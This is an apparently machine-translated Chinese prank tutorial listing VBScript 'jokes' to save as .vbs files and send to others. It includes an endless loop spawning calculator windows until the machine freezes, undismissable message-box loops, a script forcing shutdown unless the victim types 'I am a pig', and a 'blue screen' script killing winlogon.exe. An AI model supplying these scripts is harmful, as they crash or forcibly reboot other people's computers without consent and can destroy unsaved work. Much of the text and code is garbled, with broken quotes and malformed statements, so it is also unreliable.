createobject(sapi.spvoice ).Speak'i love you )。
给你的女朋友她会很乐意保存成. vbs格式
五.开无数台计算机
set wsh=createobject (wscript.shell ) )。
德奥
wsh.run 'calc '
loop
此代码打开无数计算机，并以. vbs格式保存，直到死机
六、你被骗了
while(1)。
msgbox '哈哈你被骗了！'
loop
这个代码坏了，一直在弹出窗口里说：“哈哈，你磨破了！ “”如果你不把它做完，就只能重启电脑了。 保存为. vbs格式
七.甩不掉的恶魔
WScript.Echo (喂，谢谢你打开。 我等你很久了！ )。 TSName )
WScript.Echo ('你是可爱的mgdhl吗？' ）
WScript.Echo (是的，我觉得是你在拉我，这你不知道吗？ ' )
WScript.Echo ('你为什么来，~不在乎我吗？) )
WScript.Echo ('哼，生气地拽着，等了这么久，心都凉了。' ）
wcript.echo(wldbbz很生气，结果很糟糕哦。 ' )
WScript.Echo！ 你也很悲惨哦')
WScript.Echo ('你想清除我吗？' ）
WScript.Echo (那就点50次吧，但是我会给你个惊喜的) )
WScript.Echo ('剩下49次，快点哦) ) )
WScript.Echo ('剩下48了，快点，混蛋！' ）
WScript.Echo ('还剩47次。 请就这样快点！' ）
WScript.Echo (剩下46次。 你是个笨蛋。 请快点。 我不会先打扰你的工作。 " "
WScript.Echo ('剩下45次，快点记住哦！' ）
WScript.Echo (剩下43次) ) )。
WScript.Echo (剩下42次) ) )。
WScript.Echo (剩下41次) ) )。
WScript.Echo (剩下40次) )。
WScript.Echo (剩下39次) ) )。
WScript.Echo (剩下38次) ) )。
WScript.Echo (剩下37次) ) )。
WScript.Echo (剩下36次) ) )。
WScript.Echo (剩下35次) ) )。
WScript.Echo (剩下34次) ) )。
WScript.Echo (剩下33次) )。
WScript.Echo (剩下32次) )。
WScript.Echo (剩下30次) )。
WScript.Echo (剩下29次) ) )。
WScript.Echo (剩下28次) ) )。
WScript.Echo (剩下27次) ) )。
WScript.Echo (剩下26次) ) )。
WScript.Echo (剩下25次) ) )。
WScript.Echo (剩下24次) )。
WScript.Echo (剩下23次) ) )。
WScript.Echo (剩下22次) ) )。
WScript.Echo (剩下21次) )。
WScript.Echo (剩下20次) )。
WScript.Echo (剩下19次) ) )。
WScript.Echo (剩下18次) ) )。
WScript.Echo (剩下17次) )。
WScript.Echo (剩下16次) ) )。
WScript.Echo (剩下15次) )。
WScript.Echo (剩下14次) ) )。
WScript.Echo (剩下13次停止！ 喂，我有话想说')
WScript.Echo ('剩下12次，你继续下单的话我就消失了) )
WScript.Echo ('剩下11次，以后看不到我拉。 555555 ' )
WScript.Echo ('剩下10次，你现在可以选择停止了！' ）
WScript.Echo (还剩9次。 请还没下单。 请不要让我拉。 " "
WScript.Echo ('剩下8，有点伤心，为什么要舍弃别人) ) )
WScript.Echo (还剩7次。 太疯狂了，你有点负！ " "
WScript.Echo (还剩6次。 是的。 请订购。 我恨你！ " "
WScript.Echo ('剩下5，我不知道，删除我可以吗？' ）
WScript.Echo ('还剩4次！ 您确定要删除我吗？' ）
WScript.Echo (还剩三次。 但是我真的爱你。 请参阅。 ）
WScript.Echo (还剩两次。 请不要那么穷途末路。 人都爱你！ " "
WScript.Echo ('剩下一次。 哼，因为你这么绝情。 别怪我！' ）
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
改成.vbs
八、说我是猪
on error resume next
dim WSHshellA
set WSHshellA =wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""
","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
这个运行后必须输入我是猪(当然你也可以改成别的,把代码中所有的我是猪换成你想改的,
比如说我爱XXX之类的,大家懂的 ),如果一分钟没输入我是猪,就会关机.也改成.vbs
九、被鬼附身的记事本
dim sh,str,a,i
setsh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行：呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:name.txt" '文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
这个会自动打开笔记本,自己写字,怎么样?是不是有贞子爬到你电脑里的感觉?也是保存为.vbs格式
十、蓝屏代码
for each ps in
getobject("winmgmts:\.rootcimv2:win32_process").instances_
ifUcase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
for each ps
ingetobject("winmgmts:\.rootcimv2:win32_process").instances_
ifUcase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next